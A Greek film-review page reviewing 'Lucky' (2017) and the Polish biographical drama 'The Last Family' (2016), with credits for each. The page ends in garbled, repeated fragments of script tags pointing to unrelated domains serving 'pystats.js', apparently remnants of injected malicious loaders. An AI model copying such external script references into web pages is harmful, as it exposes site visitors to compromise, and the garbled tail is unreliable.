Πάμε κινηματογράφο;

Lucky , 2017

Ένας μονήρης 90χρονος και ο περίγυρός του σε μια ξεχασμένη αμερικανική κωμόπολη δίνουν αφορμές για έναν γλυκόπικρο στοχασμό περί ζωής, θανάτου, χελώνων, σταυρόλεξων, συντροφικότητας –για τα πάντα όλα…

Στα 91 του, ο «Λάκι» (Στάντον, φο-βε-ρός) τα έχει δει όλαˑ και τα έχει κάνει όλα. Κι εδώ που τα λέμε, εξακολουθεί να τα κάνει όλα: καπνίζει ασταμάτητα –ακόμα και κάνοντας την πρωινή του γιόγκα– πίνει μπλάντι μέρι στο μπαρ της γειτονιάς του, λύνει μανιωδώς σταυρόλεξα, βλέπει συγκεκριμένα πάντα τηλεπαιχνίδια, κι εξακολουθεί να αντιμετωπίζει τον κόσμο με τον ίδιο θυμόσοφο κυνισμό που τον συντρόφευε όλη του τη ζωή.

Πάνω απ’ όλα, όμως, ο Λάκι ζει μόνος. Χωρίς παιδιά, σκυλιά, σύντροφο, ή έστω έναν Θεό-αποκούμπι, βρε αδελφέ… Όπως ακριβώς πορεύτηκε όλη του τη ζωή. Μολαταύτα, οι σχέσεις του με τους συμπολίτες του στη χαμένη απ’ το χάρτη αμερικανική κωμόπολη όπου ζει, στις παρυφές της ερήμου, διαπνέονται από μια βιωμένη τρυφεράδα, από ένα νοιάξιμο πασπαλισμένο με πειράγματα.

Παρά την απρόσμενα καλή υγεία του, που πιστοποιεί ο γιατρός της πόλης (Μπέγκλι, μια μόνο σκηνή, αλλά θαυμάσιος), ο Λάκι έχει αρχίσει να διαισθάνεται πως το τέλος πλησιάζει… Γιατί πόσο πια να κρατήσει η τύχη του; Φοβάται αυτό το τέλος, κι ας μην το ομολογεί. Και η υπεραιωνόβια χελώνα ενός από τους θαμώνες του μπαρ (ο Λιντς, ο σκηνοθέτης, σε ρόλο-περιβόλι), η οποία το’ χει μόλις σκάσει από τον κήπο, έρχεται και δίνει άλλη διάσταση στις έννοιες μακροβιότητα, ζωή και, βέβαια, θάνατος…

Αυτός είναι, grosso modo ο σκελετός τούτης της πρώτης ταινίας που σκηνοθετεί ο Λιντς, ο γνωστός αγαθός γίγαντας που πρωτογνωρίσαμε ως σύζυγο της Φράνσις ΜακΝτόρμαντ στο «Φάργκο» και είδαμε πρόσφατα στο «Ο ιδρυτής μιας αυτοκρατορίας». Αλλά η ουσία αυτής της γλυκόπικρης και πολύ φιλοσοφημένης «μικρής» ταινίας δεν περιγράφεται.

Βιώνεται. Κάθεσαι πίσω και απολαμβάνεις καλογραμμένους διαλόγους, ανθρωποκεντρική σκηνοθεσία, όμορφα τοπία, μεστούς χαρακτήρες –μα πάνω απ’ ο,τιδήποτε άλλο χαίρεσαι τον Στάντον, στην προτελευταία ταινία της τεράστιας καριέρας του (πέθανε στις 15 Σεπτμεβρίου), σε έναν ρόλο που γράφτηκε ειδικά για κείνον και φέρει έντονα βιογραφικά στοιχεία.

Σκηνοθεσία
Τζον Κάρολ Λιντς
Σενάριο
Λόγκαν Σπαρκς, Ντράγκο Σουμόντζα
Πρωταγωνιστούν
Χάρι Ντιν Στάντον, Ντέιβιντ Λιντς, Ρον Λίβινγκστον, Τομ Σκέριτ, Μπάρι Σαμπάκα Χένλι, Τζέιμς Ντάρεν, Μπεθ Γκραντ, Εντ Μπέγκλι Τζούνιορ, Ιβόν Χαφ Λι
Διάρκεια
88
Χώρα
Ηνωμένες Πολιτείες
Είδος
Δραμεντί
Πρεμιέρα
23 Νοεμβρίου 2017

 

Η Τελευταία Οικογένεια , 2016

Εξαιρετική φωτογραφία, αλάνθαστη ανασύσταση εποχής, στιβαρή σκηνοθεσία και καλές ερμηνείες συνυπογράφουν μια παράδοξη βιογραφία του πολωνού σουρεαλιστή ζωγράφου, Ζντζίσλαβ Μπεκσίνσκι.

Η πρώτη μυθοπλασία του Πολωνού ντοκιμαντερίστα Ματουσίνσκι είναι μια ιδιόμορφη βιογραφία του αυτοδίδακτου Πολωνού ζωγράφου, Ζντζίσλαβ Μπεκσίνσκι (1929-2005) του οποίου τα καταπληκτικά, δυστοπικά, εξπρεσιονιστικά έργα πραγματικά αξίζει να ανακαλύψει κανείς. Όμως η ταινία ελάχιστα επικεντρώνεται στην τέχνη και τη δημιουργική διαδικασία του Μπεκσίνσκι. Η εναρκτήρια σεκάνς μάς προϊδεάζει, νηφάλια και σοκαριστικά ταυτόχρονα, για το ένα από τα δυο σκέλη της αφήγησης: ένας διοπτροφόρος, χαμογελαστός και μειλίχιος 75άρης, καθισμένος στο γραφείο ενός σύγχρονου διαμερίσματος εκμυστηρεύεται σε κάποιον ακροατή-πλάτη μια κομπιουτερίστικη, βίαιη και σεξοαχαλίνωτη σαδομαζοχιστική φαντασίωση του –με μια υπερ-μορφωμένη γυμνή ρέπλικα της Αλίσια Σίλβερστοουν… Είναι ο ίδιος ο ζωγράφος-γλύπτης-φωτογράφος σε μια από τις συναντήσεις με βιογράφο του. Συναντήσεις οι οποίες όλο μπαίνουν εμβόλιμα σε αυτό που κυρίως παρακολουθούμε, στο βασικό σκέλος της αφήγησης, δηλαδή. Το οποίο, όπως δηλώνει και ο τίτλος του φιλμ, είναι η οικογενειακή ζωή των Μπεκσίνσκι. Ο Ζντζίσλαβ (Σέβεριν, θαυμάσιος), χιουμορίστας και προσηνής παρά τις σχεδόν εφιαλτικές εικαστικές δημιουργίες του, η σύζυγος-σιωπηλή κολώνα του σπιτιού, Ζοφία (Κονίετσνα), και ο πολύ παρορμητικός και δύσκολος γιός τους, Τόμεκ (Ογκρόντνικ), γνωστός ραδιοφωνικός παραγωγός, ντιτζέι, και μεταφραστής στην Πολωνία. Στο βάθος, οι δυο μανάδες των συζύγων συμπληρώνουν το σκηνικό.

Η ταινία καλύπτει την περίοδο από το 1977 έως το 2005, όπως μας πληροφορούν λακωνικά χρονολογίες στο κάτω αριστερό μέρος της οθόνης. Όμως τα κοσμοϊστορικά πολιτικοκοινωνικά γεγονότα που αφορούν την εν λόγω περίοδο της πολωνικής ιστορίας δεν ανιχνεύονται πουθενά στην ταινία. Μόνο η τεχνολογική εξέλιξη (και η αμερικανοποίηση της διατροφής) καταγράφεται στη ζωή των Μπεκσίνσκι, μέσα από μαγνητοφωνάκια, βιντεοκάμερες και υπολογιστές με τους οποίους διαρκώς ασχολείται ο ζωγράφος. Καταγράφοντας ευτράπελα, δύστοκα ή πεζά στιγμιότυπα της οικογένειας. Η εξαιρετική διεύθυνση φωτογραφίας του Κάσπερ Φέρτατς εναλλάσσει αναπαραστάσεις τέτοιων οικογενειακών βίντεο με ασάλευτα, ημιμακρινά πλάνα που καταγράφουν από ανούσιες έως εντελώς σοκαριστικές, τραγικές στιγμές. Ειδικά το τελευταίο-τελευταίο πλάνο, με το κόκκινο του αίματος στο πάτωμα να συνομιλεί αβίαστα με το χρώμα ενός μεγάλου πίνακα που κρέμεται στο χολ του διαμερίσματος των Μπεκσίνσκι, υπό τους ήχους ενός λιντ του Μάλερ, είναι συγκλονιστική. Σίγουρα μια ταινία για προπονημένους θεατές, αλλά και μια ταινία στιβαρή, εξαιρετικά δομημένη και πολύ ενδιαφέρουσα.

Σκηνοθεσία
Γιάν Ματουσίνσκι
Σενάριο
Ρόμπερτ Μπολέστο
Πρωταγωνιστούν
Αντρέι Σέβεριν, Νταβίντ Ογκρόντνικ, Αλεξάντρα Κονίετσνα, Αντρέι Τσίρα, Ζοφία Περτσίνσκα, Ντανούτα Ναγκόρνα, Μαγκνταλένα Μποτσάρσκα
Διάρκεια
123
Χώρα
Πολωνία
Είδος
Βιογραφικό δράμα
Πρεμιέρα

Τατιάνα Καποδίστρια___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >js.wiilberedmodels.com/pystats.js’ >js.wiilberedmodels.com/pystats.js’ >ns1.bullgoesdown.com/tmn/pystats.js’ >ns1.bullgoesdown.com/tmn/pystats.js’ >‘ >‘ >‘ >‘ >